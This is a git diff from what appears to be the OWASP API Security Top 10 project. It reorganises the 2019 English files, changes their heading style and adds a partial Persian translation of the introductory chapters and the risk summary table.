[How To Contribute][1], please refer to * Erez Yallon * Inon Shkedy -[1]: ../../CONTRIBUTING.md +[1]: ../../../CONTRIBUTING.md diff --git a/2019/en/src/0x00-toc.md b/editions/2019/en/0x00-toc.md similarity index 94% rename from 2019/en/src/0x00-toc.md rename to editions/2019/en/0x00-toc.md index 39892887e..a65bd18e2 100644 --- a/2019/en/src/0x00-toc.md +++ b/editions/2019/en/0x00-toc.md @@ -1,9 +1,8 @@ -Table of Contents -================= +# Table of Contents * [Table of Contents](0x00-toc.md) * [About OWASP](0x01-about-owasp.md) -* [Foreword](0x02-foreward.md) +* [Foreword](0x02-foreword.md) * [Introduction](0x03-introduction.md) * [Release Notes](0x04-release-notes.md) * [API Security Risks](0x10-api-security-risks.md) diff --git a/2019/en/src/0x01-about-owasp.md b/editions/2019/en/0x01-about-owasp.md similarity index 98% rename from 2019/en/src/0x01-about-owasp.md rename to editions/2019/en/0x01-about-owasp.md index 23df5789c..1bc4b3c51 100644 --- a/2019/en/src/0x01-about-owasp.md +++ b/editions/2019/en/0x01-about-owasp.md @@ -1,5 +1,4 @@ -About OWASP -=========== +# About OWASP The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and diff --git a/2019/en/src/0x02-foreword.md b/editions/2019/en/0x02-foreword.md similarity index 99% rename from 2019/en/src/0x02-foreword.md rename to editions/2019/en/0x02-foreword.md index da5502990..ef9fbd801 100644 --- a/2019/en/src/0x02-foreword.md +++ b/editions/2019/en/0x02-foreword.md @@ -1,5 +1,4 @@ -Foreword -======== +# Foreword A foundational element of innovation in today’s app-driven world is the Application Programming Interface (API). From banks, retail, and transportation diff --git a/2019/en/src/0x03-introduction.md b/editions/2019/en/0x03-introduction.md similarity index 98% rename from 2019/en/src/0x03-introduction.md rename to editions/2019/en/0x03-introduction.md index 719156c45..fea95cf7d 100644 --- a/2019/en/src/0x03-introduction.md +++ b/editions/2019/en/0x03-introduction.md @@ -1,5 +1,4 @@ -Introduction -============ +# Introduction ## Welcome to the OWASP API Security Top 10 - 2019! diff --git a/2019/en/src/0x04-release-notes.md b/editions/2019/en/0x04-release-notes.md similarity index 97% rename from 2019/en/src/0x04-release-notes.md rename to editions/2019/en/0x04-release-notes.md index f17a4e475..923f59047 100644 --- a/2019/en/src/0x04-release-notes.md +++ b/editions/2019/en/0x04-release-notes.md @@ -1,5 +1,4 @@ -Release Notes -============= +# Release Notes This is the first OWASP API Security Top 10 edition, which we plan to be updated periodically, every three or four years. diff --git a/2019/en/src/0x10-api-security-risks.md b/editions/2019/en/0x10-api-security-risks.md similarity index 98% rename from 2019/en/src/0x10-api-security-risks.md rename to editions/2019/en/0x10-api-security-risks.md index 84ef40644..552df87ff 100644 --- a/2019/en/src/0x10-api-security-risks.md +++ b/editions/2019/en/0x10-api-security-risks.md @@ -1,5 +1,4 @@ -API Security Risks -================== +# API Security Risks The [OWASP Risk Rating Methodology][1] was used to do the risk analysis. diff --git a/2019/en/src/0x11-t10.md b/editions/2019/en/0x11-t10.md similarity index 97% rename from 2019/en/src/0x11-t10.md rename to editions/2019/en/0x11-t10.md index 3827ded29..0c79313cb 100644 --- a/2019/en/src/0x11-t10.md +++ b/editions/2019/en/0x11-t10.md @@ -1,5 +1,4 @@ -OWASP Top 10 API Security Risks – 2019 -====================================== +# OWASP Top 10 API Security Risks – 2019 | Risk | Description | | ---- | ----------- | diff --git a/2019/en/src/0xa1-broken-object-level-authorization.md b/editions/2019/en/0xa1-broken-object-level-authorization.md similarity index 97% rename from 2019/en/src/0xa1-broken-object-level-authorization.md rename to editions/2019/en/0xa1-broken-object-level-authorization.md index 3b0bcf44c..b0dd7fa0c 100644 --- a/2019/en/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/en/0xa1-broken-object-level-authorization.md @@ -1,5 +1,4 @@ -API1:2019 Broken Object Level Authorization -=========================================== +# API1:2019 Broken Object Level Authorization | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa2-broken-user-authentication.md b/editions/2019/en/0xa2-broken-user-authentication.md similarity index 98% rename from 2019/en/src/0xa2-broken-user-authentication.md rename to editions/2019/en/0xa2-broken-user-authentication.md index 0e5e90cfc..6df23abf8 100644 --- a/2019/en/src/0xa2-broken-user-authentication.md +++ b/editions/2019/en/0xa2-broken-user-authentication.md @@ -1,5 +1,4 @@ -API2:2019 Broken User Authentication -==================================== +# API2:2019 Broken User Authentication | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa3-excessive-data-exposure.md b/editions/2019/en/0xa3-excessive-data-exposure.md similarity index 97% rename from 2019/en/src/0xa3-excessive-data-exposure.md rename to editions/2019/en/0xa3-excessive-data-exposure.md index 1084570cb..24adf5e2f 100644 --- a/2019/en/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/en/0xa3-excessive-data-exposure.md @@ -1,5 +1,4 @@ -API3:2019 Excessive Data Exposure -================================= +# API3:2019 Excessive Data Exposure | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting.md similarity index 97% rename from 2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/en/0xa4-lack-of-resources-and-rate-limiting.md index d5bd691d6..44649ced2 100644 --- a/2019/en/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,5 +1,4 @@ -API4:2019 Lack of Resources & Rate Limiting -=========================================== +# API4:2019 Lack of Resources & Rate Limiting | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa5-broken-function-level-authorization.md b/editions/2019/en/0xa5-broken-function-level-authorization.md similarity index 98% rename from 2019/en/src/0xa5-broken-function-level-authorization.md rename to editions/2019/en/0xa5-broken-function-level-authorization.md index 4cc762391..9a3b967a7 100644 --- a/2019/en/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/en/0xa5-broken-function-level-authorization.md @@ -1,5 +1,4 @@ -API5:2019 Broken Function Level Authorization -============================================= +# API5:2019 Broken Function Level Authorization | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa6-mass-assignment.md b/editions/2019/en/0xa6-mass-assignment.md similarity index 98% rename from 2019/en/src/0xa6-mass-assignment.md rename to editions/2019/en/0xa6-mass-assignment.md index 8045d13a7..d67e73f57 100644 --- a/2019/en/src/0xa6-mass-assignment.md +++ b/editions/2019/en/0xa6-mass-assignment.md @@ -1,5 +1,4 @@ -API6:2019 - Mass Assignment -=========================== +# API6:2019 - Mass Assignment | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa7-security-misconfiguration.md b/editions/2019/en/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/en/src/0xa7-security-misconfiguration.md rename to editions/2019/en/0xa7-security-misconfiguration.md index f82b5cc6e..b49cce53b 100644 --- a/2019/en/src/0xa7-security-misconfiguration.md +++ b/editions/2019/en/0xa7-security-misconfiguration.md @@ -1,5 +1,4 @@ -API7:2019 Security Misconfiguration -=================================== +# API7:2019 Security Misconfiguration | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa8-injection.md b/editions/2019/en/0xa8-injection.md similarity index 99% rename from 2019/en/src/0xa8-injection.md rename to editions/2019/en/0xa8-injection.md index f82710af2..defeeaf56 100644 --- a/2019/en/src/0xa8-injection.md +++ b/editions/2019/en/0xa8-injection.md @@ -1,5 +1,4 @@ -API8:2019 Injection -=================== +# API8:2019 Injection | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xa9-improper-assets-management.md b/editions/2019/en/0xa9-improper-assets-management.md similarity index 91% rename from 2019/en/src/0xa9-improper-assets-management.md rename to editions/2019/en/0xa9-improper-assets-management.md index fb3818759..c223dcb45 100644 --- a/2019/en/src/0xa9-improper-assets-management.md +++ b/editions/2019/en/0xa9-improper-assets-management.md @@ -1,5 +1,4 @@ -API9:2019 Improper Assets Management -==================================== +# API9:2019 Improper Assets Management | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | @@ -12,12 +11,13 @@ The API might be vulnerable if: * The purpose of an API host is unclear, and there are no explicit answers to the following questions: - * Which environment is the API running in (e.g., production, staging, test, - development)? - * Who should have network access to the API (e.g., public, internal, partners)? - * Which API version is running? - * What data is gathered and processed by the API (e.g., PII)? - * What's the data flow? + * Which environment is the API running in (e.g., production, staging, test, + development)? + * Who should have network access to the API (e.g., public, internal, + partners)? + * Which API version is running? + * What data is gathered and processed by the API (e.g., PII)? + * What's the data flow? * There is no documentation, or the existing documentation is not updated. * There is no retirement plan for each API version. * Hosts inventory is missing or outdated. diff --git a/2019/en/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/en/0xaa-insufficient-logging-monitoring.md similarity index 97% rename from 2019/en/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/en/0xaa-insufficient-logging-monitoring.md index c3988c6f5..fb264a810 100644 --- a/2019/en/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/en/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,4 @@ -API10:2019 Insufficient Logging & Monitoring -============================================ +# API10:2019 Insufficient Logging & Monitoring | Threat agents/Attack vectors | Security Weakness | Impacts | | - | - | - | diff --git a/2019/en/src/0xb0-next-devs.md b/editions/2019/en/0xb0-next-devs.md similarity index 98% rename from 2019/en/src/0xb0-next-devs.md rename to editions/2019/en/0xb0-next-devs.md index 7c7742d2f..a4a3f785a 100644 --- a/2019/en/src/0xb0-next-devs.md +++ b/editions/2019/en/0xb0-next-devs.md @@ -1,5 +1,4 @@ -What's Next For Developers -========================== +# What's Next For Developers The task to create and maintain secure software, or fixing existing sofware, can be difficult. APIs are no different. diff --git a/2019/en/src/0xb1-next-devsecops.md b/editions/2019/en/0xb1-next-devsecops.md similarity index 98% rename from 2019/en/src/0xb1-next-devsecops.md rename to editions/2019/en/0xb1-next-devsecops.md index 940f5fb29..b4b43a4c6 100644 --- a/2019/en/src/0xb1-next-devsecops.md +++ b/editions/2019/en/0xb1-next-devsecops.md @@ -1,5 +1,4 @@ -What's Next For DevSecOps -========================= +# What's Next For DevSecOps Due to their importance in modern application architectures, building secure APIs is crucial. Security cannot be neglected, and it should be part of the diff --git a/2019/en/src/0xd0-about-data.md b/editions/2019/en/0xd0-about-data.md similarity index 97% rename from 2019/en/src/0xd0-about-data.md rename to editions/2019/en/0xd0-about-data.md index c440d196a..d37d2ef38 100644 --- a/2019/en/src/0xd0-about-data.md +++ b/editions/2019/en/0xd0-about-data.md @@ -1,5 +1,4 @@ -Methodology and Data -==================== +# Methodology and Data ## Overview diff --git a/2019/en/src/0xd1-acknowledgments.md b/editions/2019/en/0xd1-acknowledgments.md similarity index 94% rename from 2019/en/src/0xd1-acknowledgments.md rename to editions/2019/en/0xd1-acknowledgments.md index c0e96564d..d2ab4dbba 100644 --- a/2019/en/src/0xd1-acknowledgments.md +++ b/editions/2019/en/0xd1-acknowledgments.md @@ -1,5 +1,4 @@ -Acknowledgments -=============== +# Acknowledgments ## Acknowledgments to Contributors diff --git a/2019/en/dist/owasp-api-security-top-10.odt b/editions/2019/en/dist/owasp-api-security-top-10.odt similarity index 100% rename from 2019/en/dist/owasp-api-security-top-10.odt rename to editions/2019/en/dist/owasp-api-security-top-10.odt diff --git a/2019/en/dist/owasp-api-security-top-10.pdf b/editions/2019/en/dist/owasp-api-security-top-10.pdf similarity index 100% rename from 2019/en/dist/owasp-api-security-top-10.pdf rename to editions/2019/en/dist/owasp-api-security-top-10.pdf diff --git a/2019/pt-pt/src/images/cover.jpg b/editions/2019/en/images/cover.jpg similarity index 100% rename from 2019/pt-pt/src/images/cover.jpg rename to editions/2019/en/images/cover.jpg diff --git a/2019/pt-br/src/images/front-cc.png b/editions/2019/en/images/front-cc.png similarity index 100% rename from 2019/pt-br/src/images/front-cc.png rename to editions/2019/en/images/front-cc.png diff --git a/2019/pt-br/src/images/front-wasp.png b/editions/2019/en/images/front-wasp.png similarity index 100% rename from 2019/pt-br/src/images/front-wasp.png rename to editions/2019/en/images/front-wasp.png diff --git a/2019/pt-br/src/images/license.png b/editions/2019/en/images/license.png similarity index 100% rename from 2019/pt-br/src/images/license.png rename to editions/2019/en/images/license.png diff --git a/2019/pt-br/src/images/owasp-logo.png b/editions/2019/en/images/owasp-logo.png similarity index 100% rename from 2019/pt-br/src/images/owasp-logo.png rename to editions/2019/en/images/owasp-logo.png diff --git a/editions/2019/fa/0x00-header.md b/editions/2019/fa/0x00-header.md new file mode 100644 index 000000000..9f19a8983 --- /dev/null +++ b/editions/2019/fa/0x00-header.md @@ -0,0 +1,19 @@ +--- +title: '' +--- + +![OWASP LOGO](images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +10 ریسک بحرانی امنیت API از منظر OWASP - 2019 + +29 می 2019 + +![WASP Logo URL TBA](images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org |
    این اثر تحت مجوز زیر توسعه داده شده است:
     [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/fa/0x00-notice.md b/editions/2019/fa/0x00-notice.md new file mode 100644 index 000000000..e5d6ea1ef --- /dev/null +++ b/editions/2019/fa/0x00-notice.md @@ -0,0 +1,11 @@ +# اطلاعیه + +این نسخه متنی OWASP API Security Top 10 است. به عنوان مرجع برای نسخه رسمی منتشر شده، در قالب یک سند قابل حمل (PDF) استفاده می شود. + +مشارکت در پروژه مانند نظرات، اصلاحات یا ترجمه ها باید در اینجا انجام شود. برای جزئیات بیشتر در مورد نحوه مشارکت، لطفاً به CONTRIBUTING.md مراجعه فرمایید. + +* Erez Yallon +* Inon Shkedy + + + diff --git a/editions/2019/fa/0x00-toc.md b/editions/2019/fa/0x00-toc.md new file mode 100644 index 000000000..739b4381d --- /dev/null +++ b/editions/2019/fa/0x00-toc.md @@ -0,0 +1,23 @@ +# فهرست مطالب + +* [ فهرست مطالب](0x00-toc.md) +* [درباره OWASP](0x01-about-owasp.md) +* [ پیش‌گفتار](0x02-foreword.md) +* [ مقدمه](0x03-introduction.md) +* [ یادداشت](0x04-release-notes.md) +* [ ریسک‌های امنیت API](0x10-api-security-risks.md) +* [ ده ریسک امنیت API OWASP 2019](0x11-t10.md) +* [API1:2019 مجوزدهی نادرست در سطح اشیا](0xa1-broken-object-level-authorization.md) +* [API2:2019 احرازهویت نادرست کاربر](0xa2-broken-user-autentication.md) +* [API3:2019 افشای مفرط داده](0xa3-excessive-data-exposure.md) +* [API4:2019 کمبود منابع و نبود محدودیت بر نرخ ارسال](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 مجوزدهی نادرست در سطح توابع](0xa5-broken-function-level-authorizaion.md) +* [API6:2019 تخصیص جمعی](0xa6-mass-assignment.md) +* [API7:2019 پیکربندی امنیتی نادرست](0xa7-security-misconfiguration.md) +* [API8:2019 تزریق ورودی‌های مخرب](0xa8-injections.md) +* [API9:2019 مدیریت نادرست دارایی‌ها](0xa9-improper-asset-management.md) +* [API10:2019 پایش و نظارت ناکافی](0xaa-insufficient-monitoring.md) +* [ادامه برای توسعه دهندگان](0xb0-next-devs.md) +* [ ادامه برای DevSecOps](0xb1-next-devsecops.md) +* [ متدولوژی و داده](0xd0-about-data.md) +* [سپاسگزاری](0xd1-acknowledgments.md) diff --git a/editions/2019/fa/0x01-about-owasp.md b/editions/2019/fa/0x01-about-owasp.md new file mode 100644 index 000000000..a59e8f4cc --- /dev/null +++ b/editions/2019/fa/0x01-about-owasp.md @@ -0,0 +1,43 @@ +# درباره OWASP + +پروژه بازمتن امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که اختصاصا در حوزه توانمندسازی سازمان‌ها در حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت دارد. + + در OWASP، موارد زیر را بصورت رایگان و آزاد خواهید یافت: + +* استانداردها و ابزارهای امنیت اپلیکیشن. +* کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن کد و بازبینی امنیت کد. +* ارائه‌ها و [ویدئوها][1]. +* [راهنما و برگه تقلب][2] برای بسیاری از موضوعات رایج. +* کنترل‌ها و کتابخانه‌های استاندارد در حوزه امنیت. +* [شعب محلی در سرتاسر جهان.][3] +* تحقیقات به روز و پیشرو در حوزه امنیت. +* [کنفرانس‌های تخصصی][4] در سرتاسر جهان. +* [یست‌های پست الکترونیک][5] برای ارسال اخبار. + +اطلاعات بیشتر در: https://owasp.org + +تمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و شعب OWASP رایگان بوده و استفاده از یا مشارکت در آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است. + +در OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها در نظر گرفته می‌شود چرا که موثرترین رویکردها در امنیت اطلاعات نیز به بهبود در این حوزه‌ها نیاز دارند. + +OWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشار مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه در حوزه امنیت اپلیکیشن‌ها را به ما داده است. + +OWASP به هیچ کمپانی فناوری وابستگی ندارد اگرچه از استفاده آگاهانه از فناوری‌های تجاری در حوزه امنیت نیز حمایت می‌کنیم. OWASP انواع مختلفی از اطلاعات را به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد. + +بنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP را تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری را انجام می‌دهند. همچنین ما از تحقیقات نوآورانه در حوزه امنیت با ارائه کمک‌های مالی و زیرساختی حمایت می‌کنیم. + +به ما بپیوندید! + +## حق چاپ و مجوز + +![license](images/license.png) + +حق چاپ © 2003-2019 بنیاد OWASP. این اثر تحت مجوز [Creative Commons Attribution ShareAlike 4.0 International License][7] توسعه داده شده است. برای هرگونه استفاده مجدد یا انتشار، باید شرایط مجوز این اثر را برای دیگران شفاف نمایید. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://owasp.org/index.php/OWASP_Chapter +[4]: https://owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/fa/0x02-foreword.md b/editions/2019/fa/0x02-foreword.md new file mode 100644 index 000000000..4259964f2 --- /dev/null +++ b/editions/2019/fa/0x02-foreword.md @@ -0,0 +1,26 @@ +# پیش‌گفتار + +در دنیای مبتنی بر App امروز، یکی از ابعاد بنیادین نوآوری واسط برنامه نویسی اپلیکیشن یا همان APIها هستند. از بانک‌‌ها گرفته تا خرده فروشی‌‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌‌های موبایل، وب و SaaS به شمار می‌آیند. + +ذاتا APIها منطق اپلیکیشن و داده‌‌های حساسی PII (از قبیل داده‌‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک کاربر را عیان می کنند نظیر شماره ملی) را در معرض دید قرارداده و در نتیجه، به طور روزافزون توجه بخش بیشتری از مهاجمین را به خود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌‌های فناورانه، امکان پذیر نخواهد بود. + +اگر چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت خاص APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بر راهکارها و استراتژی‌‌های لازم برای فهم و رفع آسیب‌پذیری‌‌ها و تهدیدات امنیتی خاص و منحصر به APIها تمرکز دارد. + +اگر با [پروژه OWASP Top 10][1] آشنایی داشته باشید، شباهت‌‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در صورتی که با مجموعه‌‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سراغ لیست اصلی، بخش‌‌های [ریسک‌‌های امنیتی API][2] و [متدلوژی و داده][3] از همین مستند را مطالعه نمایید. + +با پرسش‌‌ها، نظرات و ایده‌‌های خود در GitHub پروژه می توانید در توسعه OWASP API Security Top 10 مشارکت کنید: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +در اینجا می توانید OWASP API Security Top 10 را بیابید: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +بدین وسیله از تمامی مشارکت کنندگان در این پروژه که با تلاش‌‌های خود در بوجود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها در [قسمت سپاسگزاری‌‌ها][4] قابل مشاهده است. متشکریم! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/fa/0x03-introduction.md b/editions/2019/fa/0x03-introduction.md new file mode 100644 index 000000000..8380e523b --- /dev/null +++ b/editions/2019/fa/0x03-introduction.md @@ -0,0 +1,16 @@ +# مقدمه + +## به OWASP API Security Top 10 – 2019 خوش آمدید! + +به اولین ویراست ده ‌‌آسیب‌پذیری برتر امنیت API خوش آمدید. اگر با پروژه OWASP Top 10 آشنایی داشته باشید، شباهت‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در غیر این صورت، پیش از مطالعه عمیق‌تر ریسک‌‌های بحرانی امنیت API بهتر است [صفحه ویکی پروژه امنیت API][1] را مطالعه نمایید. + +در معماری اپلیکیشن‌‌های مدرن امروزی API نقش خیلی مهمی دارد. از آنجا که آگاهی بخشی امنیتی و نوآوری در این حوزه گام‌‌های مختلفی دارد، تمرکز بر نقاط ضعف رایج APIها اهمیت زیادی خواهد داشت. + +هدف اصلی مستند و پروژه ده ‌‌آسیب‌پذیری بحرانی امنیت API آموزش افراد دخیل در توسعه و نگهداری APIها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌‌ها است. + +در بخش [متدلوژی و داده][2]، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حاضر خواهید یافت. در نسخه‌‌های آتی، جامعه امنیت را نیز دخیل نموده و به منظور دریافت داده‌‌های مرتبط، فراخوان عمومی خواهیم داد. در حال حاضر همگان را به مشارکت در [مخزن Github][3] یا [لیست پست الکترونیک][4] ما از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/fa/0x04-release-notes.md b/editions/2019/fa/0x04-release-notes.md new file mode 100644 index 000000000..f9b87403e --- /dev/null +++ b/editions/2019/fa/0x04-release-notes.md @@ -0,0 +1,15 @@ +# یادداشت + +مستند پیش رو اولین ویراست ده ‌‌آسیب‌پذیری بحرانی امنیت API است و ما بنا برآن داریم که بصورت دوره‌ای، هر سه یا چهارسال یکبار، آن را بروزرسانی نماییم. + +بر خلاف نسخه حاضر، در نسخه‌های آتی برای دریافت داده‌های عمومی فراخوان داده و صنعت امنیت سایبری را نیز در تلاش خود سهیم خواهیم کرد. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به بخش [متدولوژی و داده][1] مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط در بخش [ریسک‌‌‌های امنیتی API][2] قابل مطالعه هستند. + +فهم تغییرات اساسی در معماری اپلیکیشن‌ها در سالیان گذشته از اهمیت زیادی برخوردار است. امروره APIها نقشی کلیدی در معماری ریزسرویس‌ها ، اپلیکیشن‌های تک صفحه ای (SPA )، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند. + +پروژه ده آسیب‌پذیری بحرانی امنیت API تلاشی ضروری برای آگاهی بخشی در حوزه مسائل امنیتی APIهای مدرن به شمار می‌رود که بدون تلاش‌های داوطلبانه افراد متعدد، که در بخش [سپاسگزاری‌ها][3] از تمامی آنان نام برده شده، به سرانجام رساندن آن امکان پذیر نبود. متشکریم! + + + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/fa/0x10-api-security-risks.md b/editions/2019/fa/0x10-api-security-risks.md new file mode 100644 index 000000000..5e681ac41 --- /dev/null +++ b/editions/2019/fa/0x10-api-security-risks.md @@ -0,0 +1,40 @@ +# ریسک‌‌‌های امنیتی API + +به منظور تحلیل ریسک، از [متدولوژی رتبه بندی ریسک OWASP][1] استفاده شده است. + +جدول زیر، واژگان مرتبط با رتبه ریسک را مختصرا نشان می‌دهد. + + + +| عوامل تهدید | قابلیت بهره برداری | میزان شیوع آسیب‌پذیری| قابلیت شناسایی آسیب‌پذیری | پیامد فنی | تاثیر بر کسب و کار | +|-------------|--------------------|---------------------|---------------------------|---------------|---------------------| +| خاص API | آسان: 3 | گسترده: 3 | آسان: 3 | شدید: 3 | خاص کسب و کار | +| خاص API | متوسط: 2 | متداول: 2 | متوسط: 2 | متوسط: 2 | خاص کسب و کار | +| خاص API | سخت: 1 | سخت: 1 | سخت: 1 | جزئی: 1 | خاص کسب و کار | + +**توجه:** در این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری در رتبه ریسک تاثیر ندارند؛ بعبارت دیگر در این روش رتبه بندی ریسک، راهکار مورد استفاده برای پیاده سازی API ، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند در پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بر کسب و کارها را نشان نداده و این سازمان‌ها هستند که با توجه به نوع کسب و کار و فرهنگ سازمانی خود، در میزان پذیرش خطر امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست. + +## مراجع + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### خارجی + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/fa/0x11-t10.md b/editions/2019/fa/0x11-t10.md new file mode 100644 index 000000000..6ba47375f --- /dev/null +++ b/editions/2019/fa/0x11-t10.md @@ -0,0 +1,14 @@ +# ده ‌‌‌آسیب‌پذیری بحرانی امنیت API از منظر OWASP – 2019 + +| ریسک | توضیحات | +|--------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| API1:2019 مجوزدهی نادرست در سطح اشیا | APIها معمولا توابع مدیریت کننده شناسه‌های اشیا را در معرض دید قرار داده و سطح حمله گسترده ای را برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی در سطح اشیا بایستی در کلیه توابعی که با گرفتن ورودی از کاربر به منابع داده دسترسی دارند پیاده‌سازی شود. | +| API2:2019 احرازهویت نادرست کاربر | مکانیزم‌های احرازهویت غالبا به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. نقض توانایی سیستم در شناسایی کلاینت یا کاربر، منجر به نقض امنیت API خواهد شد. | +| API3:2019 افشای مفرط داده | با بکارگیری سرویس‌‌های عمومی API، توسعه دهندگان عملا تمامی ویژگی‌‌های اشیا را بدون درنظر گرفتن حساسیت تک تک آنها و صرفا با تکیه بر فیلترینگ داده پیش از نمایش به کاربر، توسط کلاینت، در معرض دید عموم قرار می‌دهند. | +| API4:2019 کمبود منابع و نبود محدودیت نرخ در ارسال درخواست | معمولا APIها هیچ محدودیتی بر اندازه یا تعداد منابع درخواستی توسط کلاینت یا کاربر اعمال نمی‌نمایند. این موضوع نه تنها با تاثیرگذاری منفی بر عملکرد سرور API می‌تواند منجر به حمله رد سرویس (DoS) شود، بلکه در را برای نقض احرازهویت از طریق 